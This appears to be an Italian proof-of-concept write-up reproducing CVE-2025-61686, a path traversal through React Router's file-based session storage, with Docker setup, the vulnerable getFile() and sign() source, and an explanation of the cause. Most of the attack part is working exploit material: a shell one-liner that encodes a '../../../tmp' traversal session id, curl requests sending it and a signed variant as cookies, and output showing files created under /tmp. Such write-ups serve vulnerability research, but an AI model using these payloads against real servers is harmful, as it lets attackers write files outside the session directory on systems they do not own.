
Dockerfile e PoC per la riproduzione di CVE-2025-61686
1.build
docker-compose up --build
2.start
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
Confrontando le versioni vulnerabili 7.9.3 e 7.9.4, si può notare che la causa principale della vulnerabilità è un problema nella gestione della session nella funzione getFile() all'interno del file react-router/packages/react-router-node/sessions/fileStorage.ts.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
Qui i primi 4 caratteri della session vengono usati come nome della cartella e i caratteri successivi come nome del file, quindi un attaccante può ottenere il path traversal semplicemente nel modo seguente. Questo è ciò che intende l'avviso di vulnerabilità quando dice che, se le sessioni non richiedono un secret, la directory traversal può essere realizzata facilmente. Naturalmente, se un attaccante riesce a ottenere il secret usato per cifrare le sessioni, può anche costruire un payload di traversal corrispondente.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
Se si è in possesso del secret, si può fare riferimento alla funzione sign() e usare il secret per firmare il PoC.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
Usa la session generata per inviare la richiesta
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
Conferma che la vulnerabilità venga attivata
root@eb8750bd4a56:/tmp# ls
flowerwitch
Script di generazione della firma use_secret_create_payload.js